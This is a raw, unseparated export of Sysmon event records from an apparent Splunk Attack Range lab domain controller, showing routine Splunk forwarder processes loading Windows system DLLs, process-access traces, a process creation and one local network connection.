Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000056324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000056319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.681{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.682{7BD73061-74E2-613B-A60B-00000000F001}6428C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000056312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.343{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9203F4F214FB711FA9B4509364BFFA16,SHA256=F374754F3ABC7145D8BF7E1C3A42BBDED121D3959B953EB47269F5B5BF2E5F4B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000056311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.343{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8049EDA84262D98EEA443D896BAE8B2A,SHA256=C45F509E46C9ACA0E691160B209377D88D92D3078FEE4105492ECE678E898A5F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.212{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000056309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.212{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.212{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 354300x800000000000000056307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:15.388{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63174-false10.0.1.12-8000- 23542300x800000000000000056306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.097{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97B95B6FF9CA905B34A7940D19A14B6F,SHA256=38D71337F1463075AFDB0111F49020BC0DA83C092546E5E8437CB023108C1F5A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000056299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000056298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:18.013{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000056297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000056296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000056295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000056294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000056293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000056292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000056291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000056289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000056288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 